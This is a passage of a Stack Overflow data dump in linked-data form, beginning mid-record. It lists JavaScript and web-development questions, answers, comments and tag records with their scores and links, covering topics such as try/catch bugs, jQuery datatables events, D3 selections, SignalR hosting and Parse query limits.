has body: I believe your error is in your assignment line, remember that itemDataSource is a property of the ListView control. As it is in your code you're assigning that property to the imageList element. Change it to this: imageList.winControl.itemDataSource = sportsImageList.dataSource;
score: 0

http://stackoverflow.com/q/25688815
tagged with: javascript
has body: No code within my function will run unless I comment out the try/catch code entirely. Why is that? I keep adding code before and after the try/catch and in the try or the catch and nothing will ever run. &lt;html&gt; &lt;head&gt; &lt;script type="text/javascript"&gt; var y=3; function message() { try { alert("fdgg"); } catch(err) { txt="Something went wrong, deal with it!"\n\n"; txt+="Error crap " + err.message + "\n\n"; txt+="Click Ok to do stuff."; alert(txt); } alert("67"); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;input type="button" value="Pooper" onclick="message()"); &lt;/body&gt; &lt;/html&gt;
favorite count: 0
has comment: http://stackoverflow.com/comment/40149792
has answer: http://stackoverflow.com/a/25688883
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40149796
has comment: http://stackoverflow.com/comment/40149984
accepted answer: http://stackoverflow.com/a/25688883
has comment: http://stackoverflow.com/comment/40149702
has comment: http://stackoverflow.com/comment/40149763
downvote count: 1
type: Question
tagged with: try-catch
type: AnsweredQuestion
score: -1
has title: Why is my javascript try/catch block not firing?
tagged with: function
upvote count: 0
has comment: http://stackoverflow.com/comment/40149743
answer count: 1

http://stackoverflow.com/comment/40167631
type: QuestionComment
has text: Thanks for the suggestion - are you able to provide a js-fiddle to show what you mean in action please?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25698211

http://stackoverflow.com/q/25659614
has comment: http://stackoverflow.com/comment/40097389
favorite count: 0
has title: setInterval dosn't work as expected
linked to: http://stackoverflow.com/q/13104494
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/40098168
linked to: http://stackoverflow.com/q/9579546
has answer: http://stackoverflow.com/a/25659702
has comment: http://stackoverflow.com/comment/40097450
accepted answer: http://stackoverflow.com/a/25659702
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/3561043
has comment: http://stackoverflow.com/comment/40097480
has body: function startAutoScrolling() { var distance = y2 - y1; var speed = distance / dateDiff; interval1 = setInterval(function() { doAutoScrolling(speed); }, 1); } here I want to decrease step on 0.1 but it dosn't work like that, and I don't know why function doAutoScrolling(step) { document.getElementById(CONTEINER).scrollTop += step; if (isGoingDown) { step = step - 0.1; console.log("step - 1: " + step); if (step &lt;= 0) { clearInterval(interval1); } } else { // there is continue below here I want to increase step and if condition have to stop execution of block but it doesn`t work also step += 0.01; if (step &gt;= 0) { clearInterval(interval1); } } }
type: Question
answer count: 1
downvote count: 1
tagged with: javascript

http://stackoverflow.com/comment/39904200
comment on: http://stackoverflow.com/q/25552396
score: 0
has text: If you're intent is to save the state of the data _presented_ by the html, then you should save the **data** to `localStorage`, not the html.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40173454
score: 3
comment on: http://stackoverflow.com/q/25701628
type: Comment
type: QuestionComment
has text: there's no question here...!? (BTW, this will always return `undefined`. what's the point?)

http://stackoverflow.com/q/25621061
tagged with: javascript
has answer: http://stackoverflow.com/a/25621382
has comment: http://stackoverflow.com/comment/40027588
score: 0
tagged with: preg-match
answer count: 1
has title: Preg_match when data is displayed using javascript
type: UnansweredQuestion
has body: I've been using a simple php script with preg_match() to pull data from an external site. The site has now changed the way it displays data and displays it using javascript, and I'm guessing you need different techniques to pull the data then? To give you an example of the site layout it is basically something like Nokia 5/300 Samsung 200/300 Iphone 544/2000 Before I just did preg_match Nokia to display the amount of Nokias left in stock on my own site. But since it is now displayed with javascript how would I go about to extract the Nokia data?
tagged with: php
has comment: http://stackoverflow.com/comment/40083392
has comment: http://stackoverflow.com/comment/40026978
type: Question

http://stackoverflow.com/comment/40024878
comment on: http://stackoverflow.com/q/25619159
type: QuestionComment
type: Comment
has text: By the way, I edited my question.
score: 0

http://stackoverflow.com/q/25612712
has title: Change action in form with dom script
has comment: http://stackoverflow.com/comment/40011919
upvote count: 0
has comment: http://stackoverflow.com/comment/40012072
has answer: http://stackoverflow.com/a/25612877
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40012015
has answer: http://stackoverflow.com/a/25612884
tagged with: http://stackoverflow.com/tag/html
has body: How can I change the onSubmit value dynamic or should I remove onSubmit and have <action="return zomlink();"> What I want is to change the action/onsubmit link to a new link depending on what option they select in the drop down box. I cannot use Jquery i need it in plain javascript form. 3 days Trial (2€) 31 days (19€) 90 days (50€) 365 days (99€) <input type="submit" value="" style="background:url(<?php bloginfo('template_directory'); ?>/images/vbestall.png) no-repeat; width: 106px; height: 40px; border: 0px;"> Script: function zomlink() { if(document.zomlink.value == '1906104') { document.buyvipform.action = 'http://google.com'; } if(document.zomlink.value == '1906125') { document.buyvipform.action = 'http://facebook.com'; } return true; } Fiddle: http://jsfiddle.net/6x4u28yd/
favorite count: 0
score: -1
linked to: http://stackoverflow.com/q/5361751
type: Question
answer count: 2
downvote count: 1

http://stackoverflow.com/q/25631953
downvote count: 0
score: 1
tagged with: jquery
has body: I need to send a var which contains html code. I have a file with html code, and I read it and put that HTML code in a var with ob_start(); $output = ob_get_contents(); ob_end_clean(); I tried to send it via GET with header(location:); but I get the error (headers already sent). so I want to send it via JQuery or JavaScript. I tried to do this var output = $('#out').text(); $.post('../tcpdf/examples/polizaPDF.php',{output:output}) .done(function(data) { console.log($.trim(data)); }); But I need to stay in the page "polizaPDF.php". What do I do in polizaPDF.php? I print the var output which contains the html code. So I can get a PDF in the browser. I use tcpdf to print the pdf. Can anyone help me or give me some advice to do this?
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25632077
tagged with: php
has answer: http://stackoverflow.com/a/25632049
has comment: http://stackoverflow.com/comment/40047595
upvote count: 1
type: Question
tagged with: javascript
has title: auto submit with JQuery or JavaScript
answer count: 2

http://stackoverflow.com/comment/40139736
type: AnswerComment
type: Comment
score: 1
has text: @gpgekko Yes it would be for version 2 but I found the explanation for the `clearfix` thing in docs of version 3, so I just linked that in answer as well :)
comment on: http://stackoverflow.com/a/25683114

http://stackoverflow.com/comment/40058561
has text: Can you check the declarations of arrays(dropdown1[i], kot[i],item[i]) in js file. Or show those array declarations.
comment on: http://stackoverflow.com/q/25638322
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86083408
comment on: http://stackoverflow.com/a/35547598
type: Comment
has text: window.location = document.referrer; did the job, thank you!
score: 0
type: AnswerComment

http://stackoverflow.com/q/25662461
possible better answer: http://stackoverflow.com/a/25662628
has comment: http://stackoverflow.com/comment/40102872
accepted answer: http://stackoverflow.com/a/25663162
score: 1
upvote count: 1
has body: I have an input field in each row of my jquery datatable. I have to trigger an event on text change and enter press for each of these input fields.Am loading jquery datatable using serverside processing.Before without using the server side processing the input field events were working fine!.What causes the event to be silent now? Events i used before --- $('#txtQty').keydown(function (e) { alert("keydown"); } $('#txtQty').change(function () { alert("Change"); } same listeners i use after the serverside processing applied. Jquery grid details- client side processing and adding input box~ @foreach (var item in Model) { &lt;tr&gt; . . . . . . @if (item.Qty &lt;= 0) { &lt;td&gt; &lt;input class="inputs" id="txtQty" type="text" value=@item.MinQty /&gt; &lt;/td&gt; } } Serverside processing and input box applied on the go- $('#grid').dataTable({ "bServerSide": true, "sAjaxSource": "../myaction/AjaxHandler", "bProcessing": true, "scrollY": 385, "scrollX": true, "scrollCollapse": true, "jQueryUI": true, "bJQueryUI": true, "sDom": 'lfrtip', "aoColumns": [ { "sName": "dfgdfg" }, { "sName": "dfgdfg" }, { "sName": "hhh" }, { "sName": "Qty", "mRender": function (sName) { return '&lt;input class="inputs" id="txtQty" type="text" value='+ sName +' /&gt;'; }, }, { "sName": "Category" }, { "sName": "Comment" } ], "oLanguage": { "sProcessing":'Processing.....' } });
has comment: http://stackoverflow.com/comment/40102265
has comment: http://stackoverflow.com/comment/40102726
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25663162
downvote count: 0
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25662628
tagged with: onchange
tagged with: datatables
favorite count: 0
tagged with: keydown
has comment: http://stackoverflow.com/comment/40103052
has title: "keydown" and "change" events not working for jquery datatables
type: AnsweredQuestion

http://stackoverflow.com/comment/40173955
score: 0
type: Comment
type: QuestionComment
has text: Nothing, still same problem :/
comment on: http://stackoverflow.com/q/25701299

http://stackoverflow.com/q/25711108
has title: How to select elements according to an attribute(fill color) in D3.js with SelectAll
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40190932
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25713946
favorite count: 0
upvote count: 2
tagged with: d3.js
tagged with: css
has comment: http://stackoverflow.com/comment/40190897
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/25713946
linked to: http://stackoverflow.com/q/11043279
has body: I have sets of circles on a map like 10 red circles, 10 blue circles, 10 green circles. How can i select only red circles using d3 selectAll or select? Or is there any other methods than that? the color has been given like this(as the value of "fill" in "style" attribute, feature = g.selectAll("circle") .data(data) .enter().append("circle") .attr("id", function (d) { return d.ArtistID + d.FollowerID; }) .style("stroke", "black") .style("opacity", .6) .style("fill", function (d) { if (d.ArtistID == 1) { return "red" } else if (d.ArtistID == 2) { return "blue" } else { return "green" }; }) .attr("r", 10); so, the circles will be drawn like this, &lt;circle id="10" r="10" transform="translate(695,236)" style="stroke: rgb(0, 0, 0); opacity: 0.6; fill: rgb(255, 255, 0);"&gt;&lt;/circle&gt; I want to select the circles of red color. Cam somebody help? Thanks in Advance.
type: Question

ios
tags question: http://stackoverflow.com/q/25689434
type: Tag
tags question: http://stackoverflow.com/q/25673685
tags question: http://stackoverflow.com/q/25637117
tags question: http://stackoverflow.com/q/25554114
tags question: http://stackoverflow.com/q/25630959
tags question: http://stackoverflow.com/q/25658122
tags question: http://stackoverflow.com/q/25670410
tag name: ios
tags question: http://stackoverflow.com/q/25601768
tags question: http://stackoverflow.com/q/25661486
tags question: http://stackoverflow.com/q/25709557
tags question: http://stackoverflow.com/q/25701574
tags question: http://stackoverflow.com/q/25694846
tags question: http://stackoverflow.com/q/25640250
tags question: http://stackoverflow.com/q/25558082
tags question: http://stackoverflow.com/q/25572070
tags question: http://stackoverflow.com/q/25645887
tags question: http://stackoverflow.com/q/25706441
tags question: http://stackoverflow.com/q/25668888
tags question: http://stackoverflow.com/q/25658046
tags question: http://stackoverflow.com/q/25706481
tags question: http://stackoverflow.com/q/25560692
tags question: http://stackoverflow.com/q/25648419
tags question: http://stackoverflow.com/q/25611910

http://stackoverflow.com/comment/40026217
score: 0
type: Comment
has text: This script is to accept Alphanumeric values. That is it will return true, even if there are numbers in the field.
comment on: http://stackoverflow.com/a/25620525
type: AnswerComment

http://stackoverflow.com/a/25698150
has body: Use it like this: .pipe(browserify()) .pipe(gulp.dest('./dist/app.js')); Note that browserify plugin takes an object {} as options. not a string as destination. Check out the gulp-browserify plugin for how to use it.
answers question: http://stackoverflow.com/q/25697306
type: Answer
score: 0

http://stackoverflow.com/a/25583856
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25583820
has body: You use not right selector, if target element must have many classes, you may define selector like this: $('.btn.btn-xs.btn-danger').click(function(){ var delete_id = $(this).attr('id'); alert(delete_id); });
has comment: http://stackoverflow.com/comment/39958970
upvote count: 2
has comment: http://stackoverflow.com/comment/39958977
accepted answer of: http://stackoverflow.com/q/25583820
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39958992

http://stackoverflow.com/q/25657300
answer count: 1
downvote count: 1
has body: I have been asked to re-factor a website containing 50 html page. Site is using EmberJS and using plain html. I am not aware of EmberJS. Since code is spread across multiple JavaScript, CSS, HTML, and handlebar files. Its little difficult to understand. I wonder if there is a easy way to understand the code. Is there any tool\plugin\extension which when inspecting an element will tell me what HTML/CSS/JavaScript code its using? If not what is the best way to understand and modify the code with-in limited time.
has comment: http://stackoverflow.com/comment/40093438
tagged with: refactoring
type: UnansweredQuestion
has title: Identifying which JS functions and CSS is used for a component in a web page
tagged with: javascript
has answer: http://stackoverflow.com/a/25657370
type: Question
tagged with: ember.js
tagged with: html-content-extraction
favorite count: 0
score: 0
upvote count: 1

http://stackoverflow.com/comment/39909038
has text: Fixed. You are getting the `$(window).scrollTop()` when the page loads. Double quotes just require you to press the shift key (more work typing - You should also become a Dvorak Typist), so I use single quotes as much as possible. If I'm writing a bunch of HTML in JavaScript or PHP, I use double quotes on the outside with single quotes on the HTML attributes. There is only a speed difference in JavaScript, since the Server is not interpreting things in double quotes.
comment on: http://stackoverflow.com/a/25556803
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/a/25578989
has comment: http://stackoverflow.com/comment/40220747
answers question: http://stackoverflow.com/q/25568479
has comment: http://stackoverflow.com/comment/40149006
score: 0
has comment: http://stackoverflow.com/comment/40011229
has body: Your question is a bit confusing. If 2 lines intersect then 4 angles are created and therefore 4 bisecting lines are created. Anyway here's how to get started... Once you determine which points are interesting, you can use context.getImageData to fetch the rgba values of the pixels at those points. Then convert each rgba pixel color to hsl format. Hsl format separates the Hue, Saturation &amp; Lightness of a color. Bones &amp; teeth appear lighter so you can compare lightness values to discover bone/teeth. [ Addition: Calculating points along the bisecting line ] If you know the intersection point of 2 lines [x,y] and you know the angle you're interested in (radianAngle), then you can compute a point at distance (d) along the line that bisects that angle like this: var lineX = x + d * Math.cos(radianAngle); var lineY = y + d * Math.sin(radianAngle); Then you can use the data from getImageData to fetch the rgba color at point [lineX,lineY]. Then convert to the hsl format and use the Light value to determine if [lineX,lineY] is over the lighter bone.
has comment: http://stackoverflow.com/comment/40153781
has comment: http://stackoverflow.com/comment/39958880
type: Answer
has comment: http://stackoverflow.com/comment/40011572
has comment: http://stackoverflow.com/comment/39956910

http://stackoverflow.com/comment/40124449
comment on: http://stackoverflow.com/a/25674054
type: Comment
has text: Thank you. I was looking at that but wasn't 100% sure it was the right route. I made some changes however whenever the `.observeChanges` executes it says `Exception in queued task: TypeError: Cannot read property 'Latitude' of undefined`. It writes this 24 times and there are 24 items in the collection which is good news. I just need to figure out why the `doc` is undefined.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/45973642
has text: Sort of.... it could capture requests for requests that are referenced locally (whether relative or absolute URLs) but not to external servers....
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/28785339

http://stackoverflow.com/a/25734929
upvote count: 1
has body: Your code clearly violates the self-descriptive messages and the hypermedia as the engine of application state (abbr. HATEOAS) of the uniform interface constraint of REST. According to HATEOAS you should send back hyperlinks, and the client should follow them, so it won't break by changes of the API. A hyperlink does not equal with an URL. It contains an URL, a HTTP method, maybe the content-type of the body, possibly input fields, etc... According to self-descriptive messages you should add semantics to the data, the links, the input fields, etc... The client should understand that semantics and behave accordingly. So for example you can add a "create-post" API specific link relation to your hyperlink so the client will understand that it is for creation of posts. Your client should always use these kind of semantics instead of parsing the URLs. URLs are always API specific, semantics not necessarily, so these constraints decouple the client from the API. After that the client won't break by URL changes or not even data structure changes, because it will use a standard hypermedia format (for example HAL, JSON-LD, ATOM or even HTML) and semantics (probably RDF) to parse the response body.
downvote count: 0
answers question: http://stackoverflow.com/q/25619483
type: Answer
score: 1

http://stackoverflow.com/a/25706434
has comment: http://stackoverflow.com/comment/103575576
upvote count: 48
has comment: http://stackoverflow.com/comment/40196477
has comment: http://stackoverflow.com/comment/103144920
has comment: http://stackoverflow.com/comment/40196702
downvote count: 2
has comment: http://stackoverflow.com/comment/40182637
has comment: http://stackoverflow.com/comment/40182671
type: AcceptedAnswer
has body: It only collapses consecutive rows that are identical, I don't see it as much of a problem, but with the settings button in the top right corner of the console you can enable 'Show timestamps' which will put them on different lines: You can see they only collapse consecutive duplicates with this: msgs = ['hello', 'world', 'there']; for (i = 0; i &lt; 20; i++) console.log(msgs[Math.floor((i/3)%3)]) The console api has a lot of other functions that might help you follow your code. For instance console.count(label) logs label with a count of how many times it's been logged, console.group() lets you group other logging calls together and console.timeline(label) lets you group logs into a timeline.
has comment: http://stackoverflow.com/comment/45095213
has comment: http://stackoverflow.com/comment/40182606
type: Answer
has comment: http://stackoverflow.com/comment/103107563
accepted answer of: http://stackoverflow.com/q/25706235
answers question: http://stackoverflow.com/q/25706235
has comment: http://stackoverflow.com/comment/40182588
score: 46
has comment: http://stackoverflow.com/comment/40182698

http://stackoverflow.com/comment/40106943
type: Comment
type: QuestionComment
has text: In which browser did you test? How did you measure memory? What were your results? By testing in Opera 12, I get very similar results on both methods, every somewhere around 300ms; it doesn't vary much when I change anything.
comment on: http://stackoverflow.com/q/25664525
score: 0

http://stackoverflow.com/comment/40051670
has text: Like I mentioned above, there is no dynamically applied text to canvas while typing (we don't see the canvas). Only after a button click the canvas will print the text. Thx for input.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25634121

http://stackoverflow.com/q/25588801
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39968195
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25589213
has title: angularjs variable in scope
has body: I have this: $scope.customers = 'blabla'; is there a way to do this: var entityId = 'customers'; $scope.entityId = 'blabla'; and pass the variable entityId to create the $scope.customers; can that be done?
tagged with: scope
score: 0
answer count: 1
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25589213

http://stackoverflow.com/q/25665439
type: Question
has body: I am trying to print the contents of a div to a new tab, however, it print a blank page only for the first time. When i manually print the page, it works fine. I am loading 2 tables wrapped in a div. HTML structure: table1 table2 Print Javascript: $('#print_btn').click(printClick); function printClick(receipt_bg) { var DocumentContainer = $('.receipt_bg').html(); var WindowObject = window.open("PrintWindow","_blank"); WindowObject.document.writeln(' '+ ' test print receipt ' + DocumentContainer + ' ') setTimeout(WindowObject.print(), 5); WindowObject.close(); } I even tried using WindowObject.onload = WindowObject.print(); instead of setTimeout(WindowObject.print(), 5); still it doesn't seem to work. I saw a similar post, but its solutions did not work for me.
tagged with: javascript
score: 0
tagged with: printing
has answer: http://stackoverflow.com/a/25666083
tagged with: new-window
tagged with: http://stackoverflow.com/tag/html
has title: printing contents in a new tab prints a blank page
answer count: 1
type: UnansweredQuestion

http://stackoverflow.com/comment/40122012
has text: I'm running this code on IE10 without setting configurable to true and it's running fine. When I do a look-up on the configurable property, I see it defaults to false. Weird.
type: Comment
comment on: http://stackoverflow.com/a/25672402
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40061695
type: Comment
comment on: http://stackoverflow.com/q/25639587
has text: what is `cat`? is it a parent of `check_area`?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40129611
score: 0
type: Comment
has text: PEMDAS!! I totally forgot about it..!! Thanks for your help
comment on: http://stackoverflow.com/a/25677627
type: AnswerComment

http://stackoverflow.com/comment/40184893
has text: What is "writable pointer"? This method takes path and returns one way data backwards filling the `status` variable.
comment on: http://stackoverflow.com/q/25707458
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25557474
favorite count: 0
has answer: http://stackoverflow.com/a/25562623
accepted answer: http://stackoverflow.com/a/25557627
score: 5
tagged with: wpf
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46982462
has title: get WPF WebBrowser HTML
type: Question
has answer: http://stackoverflow.com/a/25568353
tagged with: c#
upvote count: 5
has answer: http://stackoverflow.com/a/25557627
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25568353
tagged with: browser
has body: I'm using Wpf WebBrowser to access a certain page. I need to get it's HTML content- I can't use Webclient or WebReques etc. because I need to execute JS on that pages. I also tried Awesomium and Wf WebBrowser (both wrong). dynamic doc=browser.Document; var text=doc.InnerHtml//or something like this Code above doesn't work for me, it shows nullreference. Can anybody tell me how to fetch it? I've been searching for this for weeks and didn't find anything really working :/ . Please answer like for a biggest dumbass you can imagine :D. It sometimes happens to me that people send me a piece of code and I have no idea how to use it... I mean please make your posts like ending with string HTML=some_stuff; Or if you know about some alternative browser which is not buggy and where I can access HTML or something that would let me execute JS on loaded Html with affects like cookies and changes in HTML source that's also a really good answer. I'll be appreciative for any help.
downvote count: 0

http://stackoverflow.com/comment/62416602
has text: Weird isn't it? One method is deprecated and the other is not supported in IE.
comment on: http://stackoverflow.com/q/25653032
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/40003078
comment on: http://stackoverflow.com/q/25607748
has text: @Adam, that's an idea I need to test right away
score: 0
type: Comment
type: QuestionComment

size
type: Tag
tags question: http://stackoverflow.com/q/25583876
tag name: size

http://stackoverflow.com/comment/40178092
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25703914
has text: I mean that they are not registered by anything on my pages, not even the document since i can get the click even with a document.click() function. It must be linked to the way i refresh my div because if I lower the refresh rate of the page, I can ealisy click on my innerdiv and nothing is getting lost. But the faster i refresh my page and thus the more .empty() and .append() I use, the more click will never get to my code.

http://stackoverflow.com/a/25587643
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39970997
type: Answer
accepted answer of: http://stackoverflow.com/q/25585203
answers question: http://stackoverflow.com/q/25585203
has body: You can use Bootstrap Popover which can be trigger at hover as well because tooltip is generally use for displaying the messages. Here is the Fiddle http://jsfiddle.net/vzzxrLtk/ One more important thing whenever you use HTML element in data-content like data-content=' Save '> atrribute you should add one more attribute data-html="true"

http://stackoverflow.com/comment/40047015
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25592858
type: AnswerComment
has text: @user3744885 Could you give a more specific example? I'm not sure what you mean.

http://stackoverflow.com/q/25688005
accepted answer: http://stackoverflow.com/a/30543356
has title: How to get more than 1000 results Parse
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40148145
tagged with: parse-platform
has comment: http://stackoverflow.com/comment/40148726
upvote count: 3
type: Question
duplicate of: http://stackoverflow.com/q/17246991
has answer: http://stackoverflow.com/a/30543356
tagged with: cloud
has comment: http://stackoverflow.com/comment/40148520
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has body: I have a cloud code which returns sometimes more than 1000 results , I am not getting how to chain query to get more than 1000 results in following code. var User = Parse.Object.extend("Journal"); var mainQuery = new Parse.Query(User); mainQuery.equalTo("user",username); mainQuery.limit(1000); mainQuery.find({ success: function(results) { count = 0; var avg = 0; console.log("self:"+results.length); for(j = 0; j &lt; results.length ; j++) { var entry = results[j]; if(strcmp1(day,"All") != 0) { var dt = entry.get("created"); var weekDay = dt.getDay(); if(weekDay == day) { total += entry.get("Level"); count++; } } else { total += entry.get("Level"); count++; } } if(count &gt; 1) avg = total / count; response.success(avg); } }); limit function is used for raising the default limit of 100 which is max 1000 per query result return cycle .
linked to: http://stackoverflow.com/q/17246991
score: 3

http://stackoverflow.com/q/25572435
tagged with: javascript
has comment: http://stackoverflow.com/comment/39938928
has title: CSS not working correctly in FireFox
has comment: http://stackoverflow.com/comment/39938298
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/39941828
tagged with: jquery
has answer: http://stackoverflow.com/a/25572553
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/39941657
score: 1
has body: I created a method, using the list elements id, to change the color of a menu button depending on the current page. If it does not match the current page then the id is set to the default string. It works in Chrome but doesn't work in FireFox. Let me know if I need to add more code. In Master Page <asp:ContentPlaceHolder runat="server" ID="FeaturedContent" /> <li class="button" id="<%= SetSelectedLink("Default.aspx") %>">Manage Report <li class="button" id="<%= SetSelectedLink("Item.aspx") %>">Create New Item <li class="button" id="<%= SetSelectedLink("CloneReport.aspx") %>">Clone Report In Master.cs file public string SetSelectedLink(string linkUrl) { var url = Request.Url.AbsolutePath.ToLower(); return url.Contains(linkUrl.ToLower()) ? "temp" : ""; } In the Css file li#temp.button a { background: #0078a5; background: -moz-linear-gradient(top, #0078a5 0%, #00adee 100%); background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#0078a5), color-stop(100%,#00adee)); background: -webkit-linear-gradient(top, #0078a5 0%,#00adee 100%); background: -o-linear-gradient(top, #0078a5 0%,#00adee 100%); background: -ms-linear-gradient(top, #0078a5 0%,#00adee 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#0078a5', endColorstr='#00adee',GradientType=0 ); background: linear-gradient(top, #0078a5 0%,#00adee 100%); }
has comment: http://stackoverflow.com/comment/39938432
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39938726

http://stackoverflow.com/q/25684042
accepted answer: http://stackoverflow.com/a/25684657
tagged with: ibm-mobilefirst
type: AnsweredQuestion
has title: How to show local notification - Worklight
has comment: http://stackoverflow.com/comment/40140891
linked to: http://stackoverflow.com/q/24077230
type: Question
has answer: http://stackoverflow.com/a/25684657
tagged with: javascript
score: 0
has body: I want to know how to send a local notification in worklight. I want the notification to show in the device screen even when the application is not in the foreground. I have searched and only found using WL.SimpleDialog, however this only shows when the user opens the application. Is there a way to do this?
answer count: 1
linked to: http://stackoverflow.com/q/24028994

http://stackoverflow.com/q/25673874
has comment: http://stackoverflow.com/comment/40124039
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/22293445
accepted answer: http://stackoverflow.com/a/25675888
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25675888
has comment: http://stackoverflow.com/comment/40125369
has body: So, I have a SignalR self hosted console application and a website running on WAMP. Everything works just fine when I'm using localhost as domain-name. Obviously this only works locally. I want it to work on other computer too. So I have tried to change localhost to my local ip, both in the c# console application, and also on the website. The console application crashes when I have my local ip, with the error : An unhandled exception of type 'System.Reflection.TargetInvocationException' occurred in mscorlib.dll I have also tried to use * instead of localhost in the console application. Like this: string url = "http://*:8080/servers/2/"; Same goes there, it crashes. What am I doing wrong? Console application code: namespace SignalRSelfHost { class Program { public static IPAddress ipAd { get; set; } public static TcpListener myList { get; set; } static void Main(string[] args) { // This will *ONLY* bind to localhost, if you want to bind to all addresses // use http://*:8080 to bind to all addresses. // See http://msdn.microsoft.com/en-us/library/system.net.httplistener.aspx // for more information. string url = "http://localhost:8080/servers/2/"; using (WebApp.Start(url)) { Console.WriteLine("Server running on {0}", url); Console.ReadLine(); } } } class Startup { public void Configuration(IAppBuilder app) { app.Map("/signalr", map => { // Setup the CORS middleware to run before SignalR. // By default this will allow all origins. You can // configure the set of origins and/or http verbs by // providing a cors options with a different policy. map.UseCors(CorsOptions.AllowAll); var hubConfiguration = new HubConfiguration { // You can enable JSONP by uncommenting line below. // JSONP requests are insecure but some older browsers (and some // versions of IE) require JSONP to work cross domain // EnableJSONP = true }; // Run the SignalR pipeline. We're not using MapSignalR // since this branch already runs under the "/signalr" // path. map.RunSignalR(hubConfiguration); });…
tagged with: signalr
has title: SignalR - only works with localhost
type: Question
tagged with: c#
has comment: http://stackoverflow.com/comment/40124954
tagged with: javascript

http://stackoverflow.com/comment/39925135
type: Comment
comment on: http://stackoverflow.com/a/25564825
score: 0
type: AnswerComment
has text: Maybe try a simple ListView instead of a TableView.

http://stackoverflow.com/comment/40076845
type: QuestionComment
has text: I cannot accurately use the code because it needs to be run on a device for the plugin to work properly.
comment on: http://stackoverflow.com/q/25633606
score: 0
type: Comment

http://stackoverflow.com/q/25609133
tagged with: lodash
type: AnsweredQuestion
type: Question
has title: Copy a MongoDB document using Mongoosejs
has answer: http://stackoverflow.com/a/25609565
accepted answer: http://stackoverflow.com/a/25609565
tagged with: mongodb
answer count: 1
tagged with: mongoose
tagged with: javascript
has body: Just wondered if there is a quick way to copy a document that already exists in the DB and create a new document with the same values (except of course the _id and __v values). I have something working but it involves me assigning each field from the found document to the new document. This is not ideal because if the number of "fields" increases in the model I will need to change my code too. Therefore, I had a go with lodash to _extend the two documents but then I have trouble with the _id and __v "fields" that are included in the original document. Any suggestions on an efficient way of doing this?
score: 0

http://stackoverflow.com/comment/40149728
type: QuestionComment
has text: The thing is that data is fetched by ajax by doing an xmlrpc-request. The data is the returned as pure xml. Javascript goes through this data and builds html-structure. I added angular.js and the controller.js in the "statical" part of the code, the code returned by the initial request. You mean it should work. But when the page has loaded (before the ajax-request) the ng-app will not be found as it will appear after the xmlrpc-request has been done and after the javascript renders the html. You still think it should work?
comment on: http://stackoverflow.com/q/25688732
score: 0
type: Comment

http://stackoverflow.com/q/25603673
possible better answer: http://stackoverflow.com/a/25603906
has title: How to relink/delink image URLs to point to the full image?
has body: I'm trying to change the URL's of a webpage on the fly using Greasemonkey. The target page has links like: I want to change them like: That is, I want replace the link href with the image src value -- but with /full/ instead of /thumb/. Any sample scripts or examples to achieve what I'm trying to do?
score: 1
upvote count: 1
type: Question
type: AnsweredQuestion
tagged with: greasemonkey
tagged with: hyperlink
tagged with: javascript
has answer: http://stackoverflow.com/a/25603906
linked to: http://stackoverflow.com/q/1732348
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/25604589
accepted answer: http://stackoverflow.com/a/25604589
favorite count: 0

http://stackoverflow.com/a/25707164
has body: Capture all the characters from the string username upto the next ) symbol. > "Hello this is username (xxx) welcome to the portal".replace(/(username[^\)]*\))/g, "$1 ") 'Hello this is username (xxx) welcome to the portal'
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25706960

http://stackoverflow.com/comment/39942675
has text: Nevermind, `this.prevObject.get(0).ownerDocument` will do the job (or `this.prevObject.get(0)` if it's already a document.
score: 0
comment on: http://stackoverflow.com/a/25570804
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39983432
score: 0
comment on: http://stackoverflow.com/q/25597102
has text: What are you asking? I can't understand your question.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40042236
type: Comment
type: QuestionComment
score: 0
has text: Thanks for the response jasdeepkhalso. I do not believe that is it. One of our function names is serializeObject and we definitely don't have an HTML element ID'ed that.
comment on: http://stackoverflow.com/q/25628274

anchor
